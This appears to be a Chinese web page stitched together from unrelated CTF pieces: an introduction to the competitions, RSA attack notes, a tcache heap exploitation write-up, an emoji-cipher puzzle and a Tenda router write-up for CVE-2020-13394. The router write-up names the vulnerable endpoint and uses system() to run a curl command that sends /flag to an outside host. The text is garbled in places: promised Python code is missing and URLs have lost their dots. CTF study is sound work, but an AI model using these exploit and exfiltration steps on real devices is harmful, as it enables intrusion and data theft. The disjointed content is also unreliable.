想必你已经百度过相关知识。
CTF夺旗赛也分种类的,有解题的也有渗透的。
解题的分为几个大类,WEB相关(考察如上传绕过注入巴拉巴拉的知识),隐写术,逆向工程、密码学、溢出、综合等。
比赛的形式就是,给你一个链接,然后上面会给你一些提示。然后通过这个链接你可能能下载到一个东西,然后通过你的技术,来找到这个东西隐藏的信息,答案会以 flag ctf key等的字眼显示在那里。
渗透就是给你一个IP,可能是一个网站可能是个系统,一步步寻找漏洞,去攻破它,flag也是需要找的,有很多时候发现自己已经攻破了第五个flag,却发现没找到上一步的flag放在哪了。
首先要学习基础知识,推荐阅读CTF专业教程,了解ctf;从基础题出发。在学习过程中要适当地做一些关于理论知识的习题,加强理论了解。
CTF是一种流行的信息安全竞赛形式,其英文名可直译为"夺得Flag",也可意译为"夺旗赛"。
其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。
为了方便称呼,我们把这样的内容称之为"Flag"。
CTF,全称是“Capture The Flag”,也叫“旗赛”。
起源:CTF起源于1996年在拉斯韦加斯举行的DEFCON全球黑客大会。这是最早的交换安全技术的重要方式。已有20多年的历史,是目前世界上技术水平和影响力最高的CTF比赛。
性质:网络安全领域,网络安全技术人员之间的一场技术比拼。通过各种攻击手段,获取服务器后,在文件中寻找指定字段或者某个格式字段。这个场是flag,也就是拿到旗子才能赢得分数。
二、CTF的竞争模式
赛场的亮点,顶级的装备,每个选手精心打理的发型,让很多自称“现任女友”的女生觉得这些白帽黑客简直牛逼,但真实的CTF与剧中李习安的“电竞”训练和比赛大相径庭。
那么CTF是如何竞争的呢?
CTF竞赛一般可分为三种模式:解题模式、攻防模式和混合模式。
1问题解决模式(危险)
在问题解决模式下,参赛队伍可以通过互联网或现场网络参与。这种模式通过解决网络安全技术挑战的得分和时间进行排名,通常用于在线审判。
2攻防模式(攻防)
在攻防模式中,参赛队伍在网络空间相互攻防,通过得分可以实时反映比赛情况,最终通过得分直接决出胜负。
3混合模式(Mix)
混合模式结合了解题模式和攻防模式。参赛队伍可以通过解决问题得到初始分数,然后通过攻防对抗进行增加或减少分数的零和博弈,最后以分数决定胜负。
本文参考 https://findneogithubio/180727rsa-attack/ 为对其知识进行掌握,写此文章来梳理和加深记忆
前言:理解基本概念,本文将每种攻击方式实现方法提炼成了一个函数,便于理解原理也可以直接调用。
基础:
RSA概要:
在开始前可以通过 《RSA算法详解》 这篇文章了解关于RSA的基础知识,包括加解密方法,算法原理和可行性证明等。(特详细)
应用流程:
1选取两个较大的互不相等的质数p和q 计算n =p q。
2计算phi =(p-1) (q-1)。
3选取任意的e,使得e满足1<e<phi 且 gcd(e,phi) ==1
4计算e关于phi的模逆元d,即d满足(ed)%phi ==1
5加解密:c=(m^e)%n ,m =(c^d)%n其中m为明文,c为密文 (n,e)为公钥,d为私钥,要求0<=m<n
求模逆可直接利用gmpy2库。如 import gmpy2 print gmpy2invert(47,30) 可求得47模30的逆为23。
扩展欧几里得算法基于欧几里得算法,能够求出使得 ax+by=gcd(a,b) 的一组x,y。
常见攻击方式实践
准备工具
python gmpy2库 libnum库
yafu
RSATool2v17exe
RSA解密
若已知私钥d,则可以直接解密:m=pow(c,d,n)
若已知质数p和q,则通过依次计算欧拉函数值phi、私钥d可解密。简易实现如下:
在选取加密指数e时要求phi,e互质,也就是gcd(phi,e)==1 ,如果不满足是无法直接解密的。
SCTF2018的Crypto - a number problem,题目是: x33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259 tell me the smallest answer of x
其中n=3436415358139016629092568198745009225773259 可以直接分解得到p,q,出phi=(p-1)(q-1) ,然后惊奇地发现gcd(phi,33)==3 。这时如果对加密过程比较熟悉的话,就可以想到实际上公钥e=11 ,明文是m=x^3 ,应该先求出m。然后再爆破x。
n2,n3已知,利用共模攻击得到n1,由gcd(n1,n2)==p1 分解n1,n2,就可解密得到两部分msg,拼接即可。
小明文攻击
适用情况:e较小,一般为3。
公钥e很小,明文m也不大的话,于是 m^e=kn+m 中的的k值很小甚至为0,爆破k或直接开三次方即可。Python实现:
例子:Extremely hard RSA
题目提供的n是4096位的,e=3。
Rabin加密中的N可被分解
适用情况:e==2
Rabin加密是RSA的衍生算法,e==2是Rabin加密典型特征,可以百度或阅读 https://enwikipediaorg/wiki/Rabin_cryptosystem 以了解到详细的说明,这里只关注解密方法。一般先通过其他方法分解得到p,q,然后解密。
Python实现:
函数返回四个数,这其中只有一个是我们想要的明文,需要通过其他方式验证,当然CTF中显然就是flag字眼了。
Wiener’s Attack
适用情况:e过大或过小。
工具: https://githubcom/pablocelayes/rsa-wiener-attack
在e过大或过小的情况下,可使用算法从e中快速推断出d的值。详细的算法原理可以阅读: 低解密指数攻击 。
例子:2018强网杯nextrsa-Level2
私钥文件修复
适用情况:提供破损的私钥文件。
参考 https://www40huocn/blog/rsa-private-key-recovery-and-oaephtml 修复存储私钥的文件,得到p和q。
私钥修复
Python 脚本:
从缺失的私钥中,我们可以分析出各部分数据代表的数字。
改动原脚本中的各部分内容即可恢复出私钥,大致算法为:
LSB Oracle Attack
适用情况:可以选择密文并泄露最低位。
在一次RSA加密中,明文为m,模数为n,加密指数为e,密文为c。我们可以构造出 c'=((2^e)c)%n=((2^e)(m^e))%n=((2m)^e)%n , 因为m的两倍可能大于n,所以经过解密得到的明文是 m'=(2m)%n 。我们还能够知道 m' 的最低位 lsb 是1还是0。 因为n是奇数,而 2m 是偶数,所以如果 lsb 是0,说明 (2m)%n 是偶数,没有超过n,即 m<n/20 ,反之则 m>n/20 。举个例子就能明白 2%3=2 是偶数,而 4%3=1 是奇数。以此类推,构造密文 c"=(4^e)c)%n 使其解密后为 m"=(4m)%n ,判断 m" 的奇偶性可以知道 m 和 n/4 的大小关系。所以我们就有了一个二分算法,可以在对数时间内将m的范围逼近到一个足够狭窄的空间。
更多信息可参考: RSA Least-Significant-Bit Oracle Attack 和 RSA least significant bit oracle attack 。
Python实现:
有用。
CTF一般是一个题目有一个或几个知识点相互糅合,相对来说目标性比较强。如果想要体会到安全的成就感和趣味性,促进自己边练边学,CTF就是一个很好的选择。
题目定义了一个用于容器空间动态拓展的结构体:
题目new功能向容器内部写入一个8字节长度的数字,容器空间拓展规则如下:每次内部元素个数达到最大后,分配当前空间的2倍空间,并将旧空间数据拷贝到新空间。
delete功能就单纯将point指针值-8。
show功能将point指针-8后的地址里面的值打印出来。
不断得new,chunk大小变化为 0x20(A), 0x20(B), 0x30, 0x50, 0x90。
两个0x20的chunk放入了tcache中(B->A),利用delete和show功能就能够泄露堆地址。
修改B chunk里的fd指针,分配chunk到tcache里。
分配到tcache后就好办了,修改tcache->conuts[tc_idx], free掉一个chunk泄露libc基址,再修改tcache->entries[tc_idx]来申请到__free_hook。
由于没有合适的one_gadget可用,使用setcontext+53来ROP。
晚上才看到这题,开始改docker还改出一堆错误太菜了,无奈拿了个四血(Venom tql)。
逆的时候发现有 Tenda 关键字,Google一下发现 CVE-2020-13394 , https://joel-malwarebenchmarkgithubio/
链接里给的POC把路径给隐藏掉了,但逆一下就能找到路径应该是 /goform/SetNetControlList
经过测试,这个payload得发送两次,而且需要断开TCP连接后才能触发漏洞点 strcpy
给的 startsh 改成这样, docker exec 上去用 gdbserver 就能愉快的调试了。
调试确定偏移,并且由于程序由 qemu 起的,栈地址以及libc基址不变,调试得到这两个地址直接写进去,最后调用 system() 函数。
由于需要断开TCP连接才能触发漏洞,system函数执行 curl http://ip/ `cat /flag` 来带出flag
比赛时没做出来,赛后看 https://ctftimeorg/writeup/24295 复现了下
思路是伪造 struct tcache_perthread_struct 改 tcache, malloc(0x30)到free_hook,改free_hook。
不过没有可用的one_gadget, 需要malloc(0x30) 到 free_hook-8, 前八个字节放"/bin/sh", 后8个字节放system函数地址。
CTF 表情符号编码/解码 原创
2021-01-07 15:58:16
 5点赞

越狱兔崽子 
码龄2年
关注
文章目录
WP
一、Emoji表情符号编码/解码
二、步骤
1Winhex
2Emoji表情符号编码/解码
3W型栅栏加密
WP
提示:以下是本篇文章正文内容,下面案例可供参考
一、Emoji表情符号编码/解码

通过瀚霖学长的提示我们可以知道这是一个Emoji表情符号解码然后我们可以通过百度找到在线的解码工具http://wwwatoolboxnet/ToolphpId=937
二、步骤
1Winhex
解压之后我们发现wordtxt需要密码,从而猜测密码在冲rar,但是解压冲rar发现会出错
通过以前的知识我们可以知道是通过修改头文件可以正常解压
2Emoji表情符号编码/解码
通过最开始的提示可以使用在线工具转换

3W型栅栏加密
看到文件名字的提示萌新们翻了四个墙txt可以知道是一个栅栏密码加密然后我们解码发现密码错误,然后尝试W型栅栏加密就可以得出密码

然后输入密码得到口令

如所述:CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。
夺旗赛获取的最终结果为FLAG,一般格式为flag{xxxxxxxxx},xx部分为不规则字符串
CTF比赛内容一般分为解题和攻防阶段,解题通过对题目的解答,以期获得flag{},攻防阶段需要竞争队员通过渗透等方式获取到对方服务器里的flag文件,文件中包含flag{}内容。
给题主推荐个学习CTF从小白到大牛进阶的网站,搜索“实验吧CTF”,到这里学习,不仅有ctf题库,还有大量的相关writeup以及视频讲解,还有很多很多的志同道合的CTFer!
欢迎分享,转载请注明来源:表白网
评论列表(0条)